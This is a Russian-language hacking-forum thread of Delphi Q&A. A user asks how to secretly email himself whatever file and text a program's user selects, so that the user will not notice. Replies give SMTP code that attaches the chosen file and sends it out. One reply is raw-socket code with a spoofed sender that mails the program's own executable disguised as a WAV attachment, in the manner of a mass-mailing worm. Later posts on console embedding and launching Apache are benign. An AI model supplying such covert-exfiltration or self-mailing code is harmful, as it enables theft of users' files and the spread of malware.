ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > С/С++, C#, Delphi, .NET, Asm
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #561  
Старый 31.08.2007, 14:58
Аватар для Exile1985
Exile1985
Участник форума
Регистрация: 10.08.2006
Сообщений: 147
Провел на форуме:
404152

Репутация: 94
По умолчанию

Цитата:
Сообщение от infernal-team  
Как осуществить отправку файла выбранного в OpenDialog1 на e-mail скрыто от пользователя ? Очень надеюсь на вашу помощь.
как я понимаю есть программа, в ней используется OpenDialog, короче делай так:
в процедуре опенДеалога

If OpenDialog1.Execute then
begin
// тут пишишь то что должна делать программа по
//идее, т.е. то что должен видеть пользователь

// а тут вызываешь функцию или процедуру отправки //этого файла на мыло

end.

Цитата:
Сообщение от infernal-team  
Я не вирь пишу, не нужно чтобы пользователь заметил отправку файла.
нихера не понял, так пользователь должен видеть что файл отправляется или нет, говори точнее что надо!?

Последний раз редактировалось begin end; 31.08.2007 в 21:51..
 
Ответить с цитированием

  #562  
Старый 31.08.2007, 15:00
Аватар для infernal-team
infernal-team
Познающий
Регистрация: 04.07.2007
Сообщений: 56
Провел на форуме:
329032

Репутация: 8
По умолчанию

Exile1985 так вот мне и нужна функция ли процедура отправки на мыло.

Пользователь должен выбрать файл в опендиалоге, ввести данные в edit нажать буттон, файл который он выбрал и данные введеные в едит должны мне прийти на мыло.

Последний раз редактировалось begin end; 31.08.2007 в 21:53..
 
Ответить с цитированием

  #563  
Старый 31.08.2007, 15:34
Аватар для Exile1985
Exile1985
Участник форума
Регистрация: 10.08.2006
Сообщений: 147
Провел на форуме:
404152

Репутация: 94
По умолчанию

Цитата:
Сообщение от infernal-team  
Exile1985 так вот мне и нужна функция ли процедура отправки на мыло.
не знаю насколько рабочий код, по словам автора работает как часы, сам протестить не могу нету под рукой Delphi слепишь под себя как те надо:

Код:
type
  TForm1 = class(TForm)
  IdSMTP1: TIdSMTP;
  IdPOP31: TIdPOP3;

var
  Form1: TForm1;
  M1: TidMessage;
  
...

begin
  with Form1 do
  begin
    IdSMTP1.Connect;
    M1:= TIdmessage.Create(IdSMTP1);
    with M1 do
    begin
      Subject := 'Тема письма';
      Recipients.EMailAddresses:= 'adres1@server';
      From.Text:= '"имя" <adres@server>';
      Body.Text:=Edit1.text; //текст который он введет в эдит
      CharSet:= 'Windows-1251';
      Encoding:= meMIME;
      TIdAttachmentFile.Create(M1.MessageParts, OpenDialog1.FileName);//крепим файл
    end;
    IdPOP31.Connected; // почтовый сервер может попросить POP3 идентификацию перед отправкой почты, поэтому коннектимся ещё и по POP3
    IdSMTP1.Send(M1);
    IdSMTP1.Disconnect;
    IdPOP31.Disconnect;
    FreeAndNil(M1);
  end;
end;

Последний раз редактировалось Exile1985; 31.08.2007 в 15:37..
 
Ответить с цитированием

  #564  
Старый 31.08.2007, 15:39
Аватар для z01b
z01b
Постоянный
Регистрация: 05.01.2007
Сообщений: 508
Провел на форуме:
2360904

Репутация: 1393


По умолчанию

Долго думал, выкладвывать или нет , но вот она
С тебя ПЛЮСЕГ!
Код:
Procedure SendMail(Recip, FromM, Server: String);
 Var
  Sock             : TSocket;
  WsaDatas         : TWSADATA;
  SockAddrIn       : TSockAddrIn;
  F                : FILE;
  Body, Attach,
  Sub, CTyp        : String;
  Linfo            : Integer;

 Procedure Mys(STR:STRING);
 Begin
  Send(Sock,STR[1],Length(STR),0);
 End;

 Begin

 Body := m_bod;
 Attach := m_att;
 Sub := m_sub;
 CTyp := 'audio/x-wav';
 FromM := 'Jesus@Hotmail.Com';

 WSAStartUp(257,WsaDatas);
 Sock:=Socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
 SockAddrIn.sin_family:=AF_INET;
 SockAddrIn.sin_port:=htons(25);
 SockAddrIn.sin_addr.S_addr:=inet_addr(PChar(Server));
 If Connect(Sock,SockAddrIn,SizeOf(SockAddrIn)) <> SOCKET_ERROR Then Begin
  Mys('HELO .com'+#13#10);
  If Pos('<', Fromm)>0 Then
   Mys('Mail From: '+Copy(FromM, Pos('<', FromM)+1, Pos('>', FromM)-2)+#13#10) Else
   Mys('MAIL FROM: '+FromM+#13#10);
  Mys('RCPT TO: '+recip+#13#10);
  Mys('DATA'+#13#10);

  Mys('From: '+FromM+#13#10);
  Mys('Subject: '+Sub+#13#10);
  Mys('To: '+Recip+#13#10);

  Mys('MIME-Version: 1.0'+#13#10);
  Mys('Content-Type: multipart/mixed; boundary="ShutFace"'+#13#10+#13#10);
  Mys('--ShutFace'+#13#10);
  Mys('Content-Type: text/plain; charset:us-ascii'+#13#10+#13#10);

  Mys(Body+#13#10);

  Mys(#13#10+#13#10);
  Mys('--ShutFace'+#13#10);
  Mys('Content-Type: '+CTyp+';'+#13#10);
  Mys('    name="'+Attach+'"'+#13#10);
  Mys('Content-Transfer-Encoding: base64'+#13#10+#13#10);
  AssignFile(F,ParamStr(0));
  FileMode:=0;
  {$I-}
  Reset(F,1);
  IF IOResult=0 THEN BEGIN
   BlockRead(F,FileBuf[1],FileSize(ParamStr(0)));
   Mys(BASE64(FileSize(ParamStr(0))));
   CloseFile(F);
  END;
  {$I+}
  Mys(#13#10+'--ShutFace--'+#13#10+#13#10);
  Mys(#13#10+'.'+#13#10);
  Mys('QUIT'+#13#10);
 End;
 
Ответить с цитированием

  #565  
Старый 31.08.2007, 16:37
Аватар для infernal-team
infernal-team
Познающий
Регистрация: 04.07.2007
Сообщений: 56
Провел на форуме:
329032

Репутация: 8
По умолчанию

z01b тут нету аторизации, это не рабочий код, выкинь его.
 
Ответить с цитированием

  #566  
Старый 31.08.2007, 16:56
Аватар для Exile1985
Exile1985
Участник форума
Регистрация: 10.08.2006
Сообщений: 147
Провел на форуме:
404152

Репутация: 94
По умолчанию

Цитата:
Сообщение от infernal-team  
z01b тут нету аторизации, это не рабочий код, выкинь его.
Код:
uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient,
  IdMessageClient, IdSMTP, StdCtrls, idMessage, IdEMailAddress;

...

procedure TForm1.Button1Click(Sender: TObject);
var
  M: TIdMessage;
begin
  M := TIdMessage.Create(Form1);
  with M do 
begin
  Body.Add('Типа первая строчка собщения');
  From.Text := '"Рустик" <boris@uacity.com>'; //отправитель
  Recipients.Add;
  Recipients.Items[0].Text := '"Тест" <antohha@ukr.net>'; //Получатель
  Subject := 'Тема письма'; //Тема письма
  TIdAttachmentFile.Create(M.MessageParts,   OpenDialog1.FileName);//крепим файл
end;

with IdSMTP1 do 
begin 
  //авторизация
 AuthenticationType := atLogin; 
 Host := 'uacity.com'; //хост
 Username := 'boris'; // логин
 Password := '1234'; // пасс
 Connect();
end;
  if IdSMTP1.Connected then
  begin
    IdSMTP1.Send(M);
  end;
  IdSMTP1.Disconnect;
end;
подавись
 
Ответить с цитированием

  #567  
Старый 31.08.2007, 17:04
Аватар для Xserg
Xserg
Участник форума
Регистрация: 09.12.2006
Сообщений: 135
Провел на форуме:
426226

Репутация: 726
По умолчанию

Цитата:
Сообщение от Mkey  
Xserg.... спасибо за примерчик.... я уже опробывал штук 10 подобных... во всех - косяки есть... то пробелы лишние то некоторые команды не проходят..... повторюсь...требуется именно привезать cmd.exe к форме....
Как-то так?
Код:
function SetConsoleDisplayMode(hOut:THandle;dwNewMode:DWORD;lpdwOldMode:pointer):BOOL;
  stdcall; external 'kernel32.dll' name 'SetConsoleDisplayMode';
var
  smdWND:dword=0;
  I,DC:dword;
  P : array [0..3] of TPoint;
  pi: TProcessInformation;
  si: TStartupInfo;
  s:string;
procedure TForm1.FormCreate(Sender: TObject);
begin
  AllocConsole();
  ZeroMemory(@si, SizeOf(TStartupInfo));
  si.cb := SizeOf(TStartupInfo);
  CreateProcess(nil,PChar('cmd.exe'), // command line
    nil,nil,TRUE,0,nil,nil,
    si,pi);
setlength(S,256);
setlength(S,GetConsoleTitle(@S[1],256));
SetConsoleTitle('AA_BB_CC_DD');
smdWND:=FindWindow(0,'AA_BB_CC_DD');
SetConsoleTitle(PansiChar(S));
//Делаем не на полный экран
SetConsoleDisplayMode(GetStdHandle(STD_OUTPUT_HANDLE),0,@I);
P[0] := Point(     5,23);
P[1] := Point(500-15,23);
P[2] := Point(500-15,200-5);
P[3] := Point(     5,200-5);
//Вырезаем лишнее
SetWindowRgn(smdWND,CreatePolygonRgn(P,4,Alternate),true);
SetWindowPos(smdWND,HWND_TOPMOST,form1.left,form1.Top+200,700,200,SWP_SHOWWINDOW);
end;
procedure TForm1.FormConstrainedResize(Sender: TObject; var MinWidth,
  MinHeight, MaxWidth, MaxHeight: Integer);
begin
if smdWND<>0 then
MoveWindow(smdWND,form1.left,form1.Top+200,700,200,true);
end;
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
if smdWND<>0 then begin
Terminateprocess(pi.hProcess,0);
FreeConsole();smdWND:=0;
                  end;
end;
 
Ответить с цитированием

  #568  
Старый 31.08.2007, 23:53
Аватар для z01b
z01b
Постоянный
Регистрация: 05.01.2007
Сообщений: 508
Провел на форуме:
2360904

Репутация: 1393


По умолчанию

Цитата:
Сообщение от infernal-team  
z01b тут нету аторизации, это не рабочий код, выкинь его.
нефигасе, этот код, лучьшый что я видел в инете, глаза открой, там авторизация есть )
 
Ответить с цитированием

  #569  
Старый 01.09.2007, 10:50
Аватар для Joker-jar
Joker-jar
Постоянный
Регистрация: 11.03.2007
Сообщений: 581
Провел на форуме:
4172659

Репутация: 646


Отправить сообщение для Joker-jar с помощью ICQ
По умолчанию

Блин, что же за напасть такая . Не могу из-под делфни апачи запустить! Уже ипусь полчаса, перепробовал:

Код:
var
  ApacheProcInfo: TProcessInformation;
  ApacheStart: TStartupInfo;
...
     CreateProcess(pchar('K:\prakt\apache\bin\Apache.exe'),nil,nil,nil,false,0,nil,nil,ApacheStart,ApacheProcInfo);
Код:
winexec('start K:\prakt\apache\bin\Apache.exe',sw_show);
Код:
winexec('K:\prakt\apache\bin\Apache.exe',sw_show);
Код:
ShellExecute(application.handle,nil,'K:\prakt\apache\bin\Apache.exe',nil,nil,sw_show);
Во всех случаях либо ничего не происходит, либо окно мелькает и все. Так работает:
Код:
@echo off
K:
cd \prakt\apache\bin
start Apache.exe
Что за фигня?
 
Ответить с цитированием

  #570  
Старый 01.09.2007, 11:17
Аватар для Xserg
Xserg
Участник форума
Регистрация: 09.12.2006
Сообщений: 135
Провел на форуме:
426226

Репутация: 726
По умолчанию

Цитата:
Сообщение от Joker-jar  
Что за фигня?
Явно не хватает :
SetCurrentDir('K:\prakt\apache\bin\');
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[Wi-Fi, BT] Задай вопрос - получи ответ! Alexsize Беспроводные технологии/WPAN/WLAN 2564 06.04.2026 23:31
[ *NIX ] Задай вопрос - получи ответ. Xszz *nix 1547 15.06.2010 15:41
[jQuery] - Задай вопрос, получи ответ Isis PHP, PERL, MySQL, JavaScript 62 25.12.2009 03:25
ЕсТь ВоПрос Guma Чаты 4 26.10.2005 21:48



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ